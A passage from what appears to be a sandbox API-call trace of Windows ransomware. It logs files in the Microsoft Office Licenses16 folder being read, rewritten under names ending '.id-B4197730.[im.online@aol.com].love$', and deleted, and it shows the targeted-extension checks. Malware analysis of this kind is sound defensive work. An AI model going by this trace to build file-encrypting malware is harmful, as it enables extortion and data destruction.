Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0265.441] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.441] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0265.444] GetLastError () returned 0x0 [0265.444] ReadFile (in: hFile=0x4b0, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x4df6, lpOverlapped=0x0) returned 1 [0265.493] WriteFile (in: hFile=0x4ac, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x4e00, lpOverlapped=0x0) returned 1 [0265.495] ReadFile (in: hFile=0x4b0, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0265.495] WriteFile (in: hFile=0x4ac, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x11a, lpOverlapped=0x0) returned 1 [0265.495] SetEndOfFile (hFile=0x4ac) returned 1 [0265.496] CloseHandle (hObject=0x4ac) returned 1 [0265.496] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.496] SetEndOfFile (hFile=0x4b0) returned 1 [0265.502] CloseHandle (hObject=0x4b0) returned 1 [0265.502] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0265.502] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms")) returned 1 [0265.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0265.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0265.504] lstrlenW (lpString=".doc") returned 4 [0265.504] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0265.504] lstrlenW (lpString=".docx") returned 5 [0265.504] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0265.504] lstrlenW (lpString=".pdf") returned 4 [0265.505] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0265.505] lstrlenW (lpString=".xls") returned 4 [0265.505] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0265.505] lstrlenW (lpString=".xlsx") returned 5 [0265.505] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0265.505] lstrlenW (lpString=".ppt") returned 4 [0265.505] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0265.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0265.505] lstrlenW (lpString=".zip") returned 4 [0265.505] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0265.505] lstrlenW (lpString=".rar") returned 4 [0265.505] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0265.505] lstrlenW (lpString=".bz2") returned 4 [0265.505] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0265.505] lstrlenW (lpString=".7z") returned 3 [0265.505] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0265.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0265.505] lstrlenW (lpString=".dbf") returned 4 [0265.505] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0265.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0265.505] lstrlenW (lpString=".1cd") returned 4 [0265.505] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0265.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0265.506] lstrlenW (lpString=".jpg") returned 4 [0265.506] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0265.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0265.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0265.506] lstrlenW (lpString=".doc") returned 4 [0265.506] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0265.506] lstrlenW (lpString=".docx") returned 5 [0265.506] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0265.506] lstrlenW (lpString=".pdf") returned 4 [0265.506] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0265.506] lstrlenW (lpString=".xls") returned 4 [0265.506] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0265.506] lstrlenW (lpString=".xlsx") returned 5 [0265.506] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0265.506] lstrlenW (lpString=".ppt") returned 4 [0265.506] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0265.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0265.506] lstrlenW (lpString=".zip") returned 4 [0265.506] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0265.507] lstrlenW (lpString=".rar") returned 4 [0265.507] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0265.507] lstrlenW (lpString=".bz2") returned 4 [0265.507] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0265.507] lstrlenW (lpString=".7z") returned 3 [0265.507] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0265.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0265.507] lstrlenW (lpString=".dbf") returned 4 [0265.507] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0265.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0265.507] lstrlenW (lpString=".1cd") returned 4 [0265.507] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0265.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0265.507] lstrlenW (lpString=".jpg") returned 4 [0265.507] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0265.508] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0265.508] lstrlenW (lpString="HomeBusinessR_Trial2-ppd.xrm-ms") returned 31 [0265.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0265.509] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=22215) returned 1 [0265.509] CloseHandle (hObject=0x4b0) returned 1 [0265.510] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms")) returned 0x220 [0265.510] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0265.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0265.511] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.511] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0265.513] GetLastError () returned 0x0 [0265.513] ReadFile (in: hFile=0x4b0, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x56c7, lpOverlapped=0x0) returned 1 [0265.550] WriteFile (in: hFile=0x4ac, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x56d0, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x56d0, lpOverlapped=0x0) returned 1 [0265.552] ReadFile (in: hFile=0x4b0, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0265.552] WriteFile (in: hFile=0x4ac, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x112, lpOverlapped=0x0) returned 1 [0265.552] SetEndOfFile (hFile=0x4ac) returned 1 [0265.567] CloseHandle (hObject=0x4ac) returned 1 [0265.569] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.569] SetEndOfFile (hFile=0x4b0) returned 1 [0265.645] CloseHandle (hObject=0x4b0) returned 1 [0265.645] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0265.646] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms")) returned 1 [0265.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0265.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0265.648] lstrlenW (lpString=".doc") returned 4 [0265.648] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0265.648] lstrlenW (lpString=".docx") returned 5 [0265.648] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0265.648] lstrlenW (lpString=".pdf") returned 4 [0265.648] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0265.648] lstrlenW (lpString=".xls") returned 4 [0265.648] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0265.648] lstrlenW (lpString=".xlsx") returned 5 [0265.648] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0265.648] lstrlenW (lpString=".ppt") returned 4 [0265.648] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0265.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0265.648] lstrlenW (lpString=".zip") returned 4 [0265.648] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0265.648] lstrlenW (lpString=".rar") returned 4 [0265.648] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0265.648] lstrlenW (lpString=".bz2") returned 4 [0265.648] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0265.648] lstrlenW (lpString=".7z") returned 3 [0265.649] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0265.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0265.649] lstrlenW (lpString=".dbf") returned 4 [0265.649] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0265.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0265.649] lstrlenW (lpString=".1cd") returned 4 [0265.649] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0265.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0265.649] lstrlenW (lpString=".jpg") returned 4 [0265.649] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0265.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0265.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0265.649] lstrlenW (lpString=".doc") returned 4 [0265.649] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0265.649] lstrlenW (lpString=".docx") returned 5 [0265.649] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0265.650] lstrlenW (lpString=".pdf") returned 4 [0265.650] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0265.650] lstrlenW (lpString=".xls") returned 4 [0265.650] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0265.650] lstrlenW (lpString=".xlsx") returned 5 [0265.650] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0265.650] lstrlenW (lpString=".ppt") returned 4 [0265.650] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0265.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0265.650] lstrlenW (lpString=".zip") returned 4 [0265.650] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0265.650] lstrlenW (lpString=".rar") returned 4 [0265.650] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0265.650] lstrlenW (lpString=".bz2") returned 4 [0265.650] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0265.650] lstrlenW (lpString=".7z") returned 3 [0265.650] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0265.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0265.650] lstrlenW (lpString=".dbf") returned 4 [0265.650] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0265.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0265.650] lstrlenW (lpString=".1cd") returned 4 [0265.651] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0265.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0265.651] lstrlenW (lpString=".jpg") returned 4 [0265.651] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0265.651] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0265.651] lstrlenW (lpString="HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 45 [0265.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0265.653] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=11669) returned 1 [0265.653] CloseHandle (hObject=0x4b0) returned 1 [0265.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms")) returned 0x220 [0265.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0265.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0265.655] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.655] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0265.657] GetLastError () returned 0x0 [0265.657] ReadFile (in: hFile=0x4b0, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x2d95, lpOverlapped=0x0) returned 1 [0265.805] WriteFile (in: hFile=0x454, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x2da0, lpOverlapped=0x0) returned 1 [0265.914] ReadFile (in: hFile=0x4b0, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0265.914] WriteFile (in: hFile=0x454, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x12e, lpOverlapped=0x0) returned 1 [0265.914] SetEndOfFile (hFile=0x454) returned 1 [0265.915] CloseHandle (hObject=0x454) returned 1 [0265.915] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.915] SetEndOfFile (hFile=0x4b0) returned 1 [0265.973] CloseHandle (hObject=0x4b0) returned 1 [0265.973] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0265.974] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms")) returned 1 [0265.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0265.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0265.975] lstrlenW (lpString=".doc") returned 4 [0265.976] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0265.976] lstrlenW (lpString=".docx") returned 5 [0265.976] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0265.976] lstrlenW (lpString=".pdf") returned 4 [0265.976] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0265.976] lstrlenW (lpString=".xls") returned 4 [0265.976] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0265.976] lstrlenW (lpString=".xlsx") returned 5 [0265.976] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0265.976] lstrlenW (lpString=".ppt") returned 4 [0265.976] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0265.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0265.976] lstrlenW (lpString=".zip") returned 4 [0265.976] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0265.976] lstrlenW (lpString=".rar") returned 4 [0265.976] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0265.976] lstrlenW (lpString=".bz2") returned 4 [0265.976] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0265.976] lstrlenW (lpString=".7z") returned 3 [0265.976] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0265.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0265.976] lstrlenW (lpString=".dbf") returned 4 [0265.977] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0265.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0265.977] lstrlenW (lpString=".1cd") returned 4 [0265.977] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0265.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0265.977] lstrlenW (lpString=".jpg") returned 4 [0265.977] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0265.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0265.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0265.977] lstrlenW (lpString=".doc") returned 4 [0265.977] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0265.977] lstrlenW (lpString=".docx") returned 5 [0265.977] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0265.977] lstrlenW (lpString=".pdf") returned 4 [0265.977] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0265.977] lstrlenW (lpString=".xls") returned 4 [0265.977] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0265.977] lstrlenW (lpString=".xlsx") returned 5 [0265.977] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0265.977] lstrlenW (lpString=".ppt") returned 4 [0265.977] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0265.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0265.977] lstrlenW (lpString=".zip") returned 4 [0265.978] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0265.978] lstrlenW (lpString=".rar") returned 4 [0265.978] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0265.978] lstrlenW (lpString=".bz2") returned 4 [0265.978] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0265.978] lstrlenW (lpString=".7z") returned 3 [0265.978] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0265.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0265.978] lstrlenW (lpString=".dbf") returned 4 [0265.978] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0265.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0265.978] lstrlenW (lpString=".1cd") returned 4 [0265.978] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0265.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0265.978] lstrlenW (lpString=".jpg") returned 4 [0265.978] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0265.978] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0265.978] lstrlenW (lpString="HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 32 [0265.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft 